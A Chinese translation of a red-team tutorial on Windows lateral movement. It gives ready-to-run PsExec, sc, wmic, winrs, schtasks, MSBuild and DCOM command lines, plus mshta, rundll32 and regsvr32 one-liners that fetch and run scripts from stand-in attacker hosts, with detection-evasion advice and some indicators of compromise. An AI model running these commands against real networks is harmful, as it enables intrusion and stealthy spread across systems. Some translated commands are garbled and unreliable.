进攻横向移动 Offensive Lateral Movement

2023-11-22 05:10

本文主要是介绍进攻横向移动 Offensive Lateral Movement,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

进攻横向移动 Offensive Lateral Movement

译文声明

本文是翻译文章
原文地址:https://hausec.com/2019/08/12/offensive-lateral-movement/


译文仅供参考,具体内容表达以及含义原文为准

​ 横向移动是从一个受感染主机迁移到另一宿主的过程。渗透测试人员和红队人员通常通过执行powershell.exe来在远程主机上运行base64编码的命令来完成此任务,这将返回信标。这样做的问题在于,进攻PowerShell不再是一个新概念,即使是中等成熟的商店也将在其上进行检测并迅速将其关闭,或者任何一半的像样的AV产品都会在执行恶意命令之前将其杀死。横向移动的困难在于它具有良好的操作安全性(OpSec),这意味着生成尽可能少的日志,或者生成看起来正常的日志,即隐藏在清晰的视野中以避免被发现。目的不仅是展示技术,但要显示幕后情况以及与之相关的任何指标。在本文中,我将引用一些Cobalt Strike语法,因为这是我们主要用于C2的语法,但是Cobalt Strike的内置横向移动技术是相当嘈杂,对OpSec不友好。另外,我了解到并不是每个人都用Cobalt Strike,因此在大多数示例中也引用了Meterpreter,但是这些技术是通用的。

这里有几种不同的横向移动技术,我将尝试从较高的角度介绍其方法及其工作原理,但是在介绍这些方法之前,我们先澄清一些术语

  • 命名管道Named Pipe::一种通过SMB(TCP 445)相互通信的方式。 在OSI模型的第5层上运行。 与端口可以侦听连接的方式类似,命名管道也可以侦听请求。

  • 访问令牌Access Token:根据Microsoft的文档:访问令牌是一个对象,用于描述进程或线程的安全上下文。 令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。 当用户登录时,系统通过将其密码与安全数据库中存储的信息进行比较来验证该密码。 验证用户的凭据后,系统会生成访问令牌。 代表该用户执行的每个进程都有此访问令牌的副本。

    换句话说,它包含您的身份并说明您可以在系统上使用或不能使用的功能。 在不深入研究Windows身份验证的情况 下,访问令牌会参考登录会话,这是用户登录Windows时创建的登录会话。

  • 网络登录(类型3)Network Logon (Type 3): 当帐户对远程系统/服务进行身份验证时,将发生网络登录。在网络身份验证期间,可重用凭据不会发送到远程系统。因此,当用户通过网络登录登录到远程系统时,该用户的凭据将不会出现在远程系统上以执行进一步的身份验证。这带来了双跳问题,这意味着如果我们有一个单线通过网络登录连接到一个目标,然后又通过SMB到达,则不存在通过SMB登录的凭据,因此登录失败。示例在下面进一步显示。

PsExec

PsExec来自Microsoft的Sysinternals套件,允许用户使用命名管道通过端口445(SMB)在远程主机上执行Powershell。它首先通过SMB连接到目标上的ADMIN$共享,上传PSEXESVC.exe,然后使用服务控制管理器启动.exe,以在远程系统上创建命名管道,最后使用该管道进行I/O。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RTZvAxF0-1573004655576)(/Users/0x516a/Library/Application Support/typora-user-images/image-20191104160428261.png)]

示例语法如下:

psexec \\test.domain -u Domain\User -p Password ipconfig

Cobalt Strike (CS) 处理方式略有不同
它首先创建一个Powershell脚本,该脚本将对内存中运行的嵌入式有效负载进行base64编码,并将其压缩为单行代码,连接到ADMIN$C$share并运行Powershell命令,如下所示

问题是它会创建服务并运行base64编码的命令,这是不正常的,并且会引发各种警报并生成日志。 另外,发送的命令是通过命名管道发送的,该管道在CS中具有默认名称(可以更改)。 Red Canary撰写了一篇有关检测它的出色文章。

Cobalt Strike具有两个PsExec内置程序,一个称为PsExec,另一个称为PsExec(psh)。 两者之间的区别,尽管CS文档有说明,PsExec(psh)仍在调用Powershell.exe,并且您的信标将作为Powershell.exe进程运行,而没有(psh)的PsExec将作为rundll32.exe运行。

psexec2

通过Cobalt Strike 查看进程ID

默认情况下,PsExec将生成rundll32.exe进程以从中运行。 它不会将DLL拖放到磁盘或任何东西上,因此,从蓝队的角度来看,如果rundll32.exe在没有参数的情况下运行,则非常可疑。

SC

服务控制就是像听起来一样—控制服务,这对攻击者特别有用,因为可以通过SMB安排任务,因此启动远程服务的命令为

sc \\host.domain create ExampleService binpath= “c:\windows\system32\calc.exe”
sc \\host.domain start ExampleService

唯一需要注意的是,可执行文件必须特别是服务二进制文件。 服务二进制文件的不同之处在于它们必须“签入”服务控制管理器(SCM),如果没有,则将退出执行。 因此,如果为此使用非服务二进制文件,则它将作为代理/信标再次出现,然后死亡。

在CS中,您可以专门制作服务可执行文件:

stagedbinary
通过Cobalt Strike生成服务可执行文件

WMI

Windows内置Windows Management Instrumentation(WMI),以允许通过WMI服务远程访问Windows组件。 通过使用端口135上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口),它允许系统管理员远程执行自动化管理任务,例如 远程启动服务或执行命令。 它可以通过wmic.exe直接进行交互。 WMI查询示例如下所示:

wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe”

Cobalt Strike利用WMI在目标上执行Powershell负载,因此使用内置WMI时PowerShell.exe将打开,这是OpSec问题,因为执行的是base64编码的负载。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1MGZ3duI-1573004655581)(https://hausecurity.files.wordpress.com/2019/08/wmi-1.png?w=1100)]

WMIEnc.PNG

我们看到即使通过WMI,尽管wmic.exe能够通过PowerShell在目标上运行命令,但仍会创建命名管道。那么为什么要首先创建一个命名管道呢? 命名管道对于执行有效负载不是必需的,但是有效负载CS会使用命名管道进行通信(通过SMB).
这只是触及WMI功能的表面。 我的同事@mattifestation 在Blackhat 2015期间就其功能进行了精彩的演讲,可在此处阅读。 [read here](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent Asynchronous-And-Fileless-Backdoor-wp.pdf)

WinRM

Windows远程管理允许管理服务器硬件,这也是Microsoft通过HTTP(S)使用WMI的方式。 与传统的网络流量不同,它不使用80/443,而是使用5985(HTTP)和5986(HTTPS) WinRM默认情况下随Windows一起安装,但需要进行一些设置才能使用。 这是服务器操作系统的例外,因为自2012R2及更高版本开始默认启用。 WinRM需要客户端上的侦听器(听起来熟悉吗?),即使启动了WinRM服务,也必须存在一个侦听器,以便其处理请求。 这可以通过Powershell中的命令完成,也可以通过WMI和Powershell远程完成:

Enable-PSRemoting -Force

从非CS的角度来看(用你的二进制文件替换calc.exe):

winrs -r:EXAMPLE.lab.local -u:DOMAIN\user -p:password calc.exe

执行通过 with CobaltStrike:

WinRM

当然,这样做的问题是必须使用PowerShell启动它。 如果您是远程用户,则需要通过DCOM或WMI完成。 虽然打开PowerShell并不奇怪,并且启动WinRM侦听器可能会在雷达下飞来飞去,但执行有效负载时会出现嘈杂的部分,因为运行Cobalt Strike内置的WinRM模块时会有一个指示器。

WinRMIndicator.PNG

指标为:

"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile

SchTasks

SchTasks是Scheduled Tasks(计划任务)的缩写,最初在端口135上进行操作,然后使用DCE / RPC进行通信,继续通过临时端口进行通信。 与在Linux中创建cron-job相似,你可以计划任务发生和执行任何你想要的。

From just PS:

schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00 /S host.domain /RU System
schtasks /run /tn ExampleTask /S host.domain
schtasks /F /delete /tn ExampleTask /S host.domain

In CobaltStrike:

shell schtasks /create /tn ExampleTask /tr c:\windows\system32\calc.exe /sc once /st 00:00  /S host.domain /RU System
shell schtasks /run /tn ExampleTask /S host.domain

删除job (opsec!)

shell schtasks /F /delete /tn ExampleTask /S host.domain

MSBuild

虽然不是横向移动技术,但CaseySmith在2016年发现,MSBuild.exe可以与上述某些方法结合使用,以避免丢弃编码的Powershell命令或生成cmd.exe。 MSBuild.exe是Microsoft签名的可执行文件,与.NET Framework软件包一起安装。 MSBuild用于通过提供架构的XML文件来编译/构建C#应用程序。 从攻击者的角度来看,这用于编译C#代码以生成恶意的二进制文件或有效负载,甚至直接从XML文件运行有效负载。 MSBuild也可以通过SMB进行编译,如以下语法所示

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\host.domain\path\to\XMLfile.xml

*XML Template: https://gist.githubusercontent.com/ConsciousHacker/5fce0343f29085cd9fba466974e43f17/raw/df62c7256701d486fcd1e063487f24b599658a7b/shellcode.xml*

wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe \\LAB2012DC01.LAB.local\C$\Windows\Temp\build.xml"

由于double-hop问题,尝试使用wmic调用msbuild.exe通过SMB构建XML将会失败。 当发生网络登录(类型3)时,会出现双跳问题,这意味着凭据实际上从未发送到远程主机。 由于凭据没有发送到远程主机,因此远程主机无法向有效负载托管服务器进行身份验证。 在Cobalt Strike中,使用wmic时经常会遇到这种情况,解决方法是为该用户创建令牌,因此可以从该主机传递凭据。 但是,如果没有CS,则有一些解决方法:

  1. 在本地托管XML文件(放置到磁盘)
copy C:\Users\Administrator\Downloads\build.xml \\LABWIN10.lab.local\C$\Windows\Temp\
wmic /node:LABWIN10.lab.local /user:LAB\Administrator /password:Password! process call create "c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe C:\Windows\Temp\build.xml"
  1. 通过WebDAV托管XML(如下所示)
  2. 使用PsExec
psexec \\ host.domain -u Domain \ Tester -p Passw0rd c:\ windows \ Microsoft.NET \ Framework \ v4.0.30319 \ Msbuild.exe \\ host.domain \ C $ \ Windows \ Temp \ build.xml“

在Cobalt Strike中,有一个Aggressor Script扩展程序,该扩展程序使用MSBuild执行Powershell命令,而不会通过非托管进程(二进制直接编译成机器代码)而生成Powershell。这是通过WMI / wmic.exe上传的。

https://github.com/Mr-Un1k0d3r/PowerLessShell

MSBuild的关键指标是它正在SMB上执行,MSBuild正在建立出站连接。

MSBuildIOC.PNG

调用“ QueryNetworkOpenInformationFile”操作的MSBuild.exe,这是一个IOC

DCOM

组件对象模型(COM)是具有不同应用程序和语言的进程使用的一种协议,因此它们彼此通信。COM对象不能在引入了分布式COM(DCOM)协议的网络上使用。我出色的同事Matt Nelson 通过 Microsoft管理控制台(MMC)2.0脚本对象模型中的ExecuteShellCommand方法,通过DCOM发现了一种横向移动技术,该脚本模型用于系统管理服务器的管理功能。

可以通过以下方式调用

[System.Activator] :: CreateInstance([type] :: GetTypeFromProgID(“ MMC20.Application”,“ 192.168.10.30”))。Document.ActiveView.ExecuteShellCommand(“ C:\ Windows \ System32 \ Calc.exe”,“ 0“,” 0“,” 0“)

DCOM使用网络登录(类型3)因此在这里也会遇到double-hop问题 . PsExec解决了double-hop问题,因为凭据是通过命令传递的,并且可以生成交互式登录回话(类型2), 但是,问题在于 ExecuteShellCommand 方法只接收4个参数, 因此,如果传入少于或者大与4个则会出错, it errors out. Also, spaces have to be their own arguments (e.g. “cmd.exe”,$null,”/c” is three arguments), 这消除了将PsExec与DCOM一起使用来执行MSBuild的可能性。 从这里,有几个选项。

  1. 使用WebDAV

  2. 主机上不需要身份验证的SMB共享XML文件(例如,使用Impacket的SMBServer.py,但最有可能要求攻击者必须拥有自己的攻击机在网络上)

  3. 尝试其他类似的“ ExecuteShellCommand”方法

使用WebDAV,它仍然使用UNC路径,但是如果Windows无法通过445和139到达该路径,则Windows最终将退回到端口80。使用WebDAV,SSL也是一个选择。 唯一需要注意的是,WebDAV在服务器上不起作用,因为默认情况下该服务在服务器操作系统上不存在。

[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.10.30")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe",$null,"\\192.168.10.131\webdav\build.xml","7")

通过不需要任何身份验证即可访问WebDAV服务器(在本例中也是C2服务器),从而解决了double-hop问题。

如视频中所示,此方法的问题在于它产生了两个进程:mmc.exe,因为从MMC2.0和MSBuild.exe调用了DCOM方法。

另外,这确实会临时写入磁盘。Webdav writes to

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV

并且在执行后不清理任何文件.MSBuild临时写入

C:\Users\[USER]\AppData\Local\Temp\[RANDOM]\

并会自行清理。 使用此技巧的巧妙之处在于,由于MSBuild使用了Webdav,因此MSbuild会清理Webdav创建的文件。

本文还介绍了其他执行DCOM方法和防御建议。in this article.

Remote File Upload

不一定是横向移动技术,值得注意的是,您可以生成自己的二进制文件而不是使用Cobalt Strikes内置插件(可能更隐蔽)。 这是通过对目标C$共享拥有SMB的上传特权(即管理权限)来实现的,然后您可以将其无阶段的二进制文件上载到并通过wmic或DCOM执行,如下所示。

不使用CS

copy C:\Windows\Temp\Malice.exe \\target.domain\C$\Windows\Temp
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\Temp\Malice.exe”

其他代码执行选项

还有更多可能的代码执行选项,它们需要本地执行而不是远程执行,因此,像MSBuild一样,这些必须与横向移动技术配合使用。

Mshta

Mshta.exe是Windows上默认安装的可执行文件,它允许执行.hta文件。.hta文件是Microsoft HTML应用程序文件,允许在HTML应用程序中执行Visual Basic脚本。关于Mshta的好处是,它允许通过URL执行,并且由于它是受信任的Microsoft可执行文件,因此应绕过默认的应用白名单。

mshta.exe https://malicious.domain/runme.hta

Rundll32

这是众所周知的。Rundll32.exe再次是受信任的Windows二进制文件,用于执行DLL文件。可以通过UNC WebDAV路径甚至通过JavaScript指定DLL。

rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"

由于它的运行DLL文件,你可以将其与其他一些配对以使用不同的技术:

  • URL.dll: Can run .url (shortcut) files; 也可以运行 .hta files

  • rundll32.exe url.dll,OpenURL "C:\Windows\Temp\test.hta"
    
  • ieframe.dll: Can run .url files

    [InternetShortcut]
    URL=file:///c:\windows\system32\cmd.exe
    
  • shdocvw.dll: Can run .url files as well

Regsvr32

注册服务器用于为注册表注册和注销DLL。Regsrv32.exe是经过签名的Microsoft二进制文件,可以接受URL作为参数。具体来说,它将运行一个.sct文件,该文件是一个XML文档,允许注册COM对象。

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

阅读Casey Smith的文章以获得更深入的解释。

结论

同样,此列表**并不全面,**因为那里有更多的技术。这仅仅是我记录了一些我不知道的事情,并弄清楚了它们是如何工作的。在学习Cobalt Strike时,我了解到内置插件对OpSec不友好,这可能会导致操作员陷入困境,因此我认为我将尝试至少记录一些高级IOC。我鼓励大家查看MITER ATT&CK 知识库,以阅读有关横向运动和潜在IOC的更多信息。欢迎在Twitter上提问@ haus3c与我联系

这篇关于进攻横向移动 Offensive Lateral Movement的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/407737

相关文章

我在移动打工的日志

客户:给我搞一下录音 我:不会。不在服务范围。 客户:是不想吧 我:笑嘻嘻(气笑) 客户:小姑娘明明会,却欺负老人 我:笑嘻嘻 客户:那我交话费 我:手机号 客户:给我搞录音 我:不会。不懂。没搞过。 客户:那我交话费 我:手机号。这是电信的啊!!我这是中国移动!! 客户:我不管,我要充话费,充话费是你们的 我:可是这是移动!!中国移动!! 客户:我这是手机号 我:那又如何,这是移动!你是电信!!

用Unity2D制作一个人物,实现移动、跳起、人物静止和动起来时的动画:中(人物移动、跳起、静止动作)

上回我们学到创建一个地形和一个人物,今天我们实现一下人物实现移动和跳起,依次点击,我们准备创建一个C#文件 创建好我们点击进去,就会跳转到我们的Vision Studio,然后输入这些代码 using UnityEngine;public class Move : MonoBehaviour // 定义一个名为Move的类,继承自MonoBehaviour{private Rigidbo

简单的角色响应鼠标而移动

actor类 //处理移动距离,核心是找到角色坐标在世界坐标的向量的投影(x,y,z),然后在世界坐标中合成,此CC是在地面行走,所以Y轴投影始终置为0; using UnityEngine; using System.Collections; public class actor : MonoBehaviour { public float speed=0.1f; CharacterCo

物联网之流水LED灯、正常流水灯、反复流水灯、移动流水灯

MENU 硬件电路设计软件程序设计正常流水LED灯反复流水LED灯移动流水LED灯 硬件电路设计 材料名称数量直插式LED1kΩ电阻杜邦线(跳线)若干面包板1 每一个LED的正极与开发板一个GPIO引脚相连,并串联一个电阻,负极接GND。 当然也可以选择只使用一个电阻。 软件程序设计 正常流水LED灯 因为要用到多个GPIO引脚,所以最好把所有的GPI

12C 新特性,MOVE DATAFILE 在线移动 包括system, 附带改名 NID ,cdb_data_files视图坏了

ALTER DATABASE MOVE DATAFILE  可以改名 可以move file,全部一个命令。 resue 可以重用,keep好像不生效!!! system照移动不误-------- SQL> select file_name, status, online_status from dba_data_files where tablespace_name='SYSTEM'

《C++中的移动构造函数与移动赋值运算符:解锁高效编程的最佳实践》

在 C++的编程世界中,移动构造函数和移动赋值运算符是提升程序性能和效率的重要工具。理解并正确运用它们,可以让我们的代码更加高效、简洁和优雅。 一、引言 随着现代软件系统的日益复杂和对性能要求的不断提高,C++程序员需要不断探索新的技术和方法来优化代码。移动构造函数和移动赋值运算符的出现,为解决资源管理和性能优化问题提供了有力的手段。它们允许我们在不进行不必要的复制操作的情况下,高效地转移资源

创建一个大的DIV,里面的包含两个DIV是可以自由移动

创建一个大的DIV,里面的包含两个DIV是可以自由移动 <body>         <div style="position: relative; background:#DDF8CF;line-height: 50px"> <div style="text-align: center; width: 100%;padding-top: 0px;"><h3>定&nbsp;位&nbsp;

C# 通过拖控件移动窗体

目录 引言一、通过控件事件移动窗体1、创建窗体界面2、添加控件事件3、添加代码 二、通过windowsAPI移动窗体1、 构建窗体和添加事件2、代码展示 引言 在C#Form窗体设计中,如果我们不需要使用默认边框设计自己个性化的窗体(FromBorderStyle=none时),这时候你会发现拖动窗体的功能就没有了,这里需要自己构建方法让用户可以拖动整个窗体,这里我们使用前辈的

网络层 VII(IP多播、移动IP)【★★★★★★】

一、IP 多播 1. 多播的概念 多播是让源主机一次发送的单个分组可以抵达用一个组地址标识的若干目的主机,即一对多的通信。在互联网上进行的多播,称为 IP 多播(multicast , 以前曾译为组播)。 与单播相比,在一对多的通信中,多播可大大节约网络资源。假设视频服务器向 90 台主机传送同样的视频节目,单播与多播的比较如下图所示。 下图(a)是视频服务器用单播方式向 90 台主机传

【自动驾驶】控制算法(八)横向控制Ⅱ | Carsim 与 Matlab 联合仿真基本操作

写在前面: 🌟 欢迎光临 清流君 的博客小天地,这里是我分享技术与心得的温馨角落。📝 个人主页:清流君_CSDN博客,期待与您一同探索 移动机器人 领域的无限可能。 🔍 本文系 清流君 原创之作,荣幸在CSDN首发🐒 若您觉得内容有价值,还请评论告知一声,以便更多人受益。 转载请注明出处,尊重原创,从我做起。 👍 点赞、评论、收藏,三连走一波,让我们一起养成好习惯😜 在这里,您将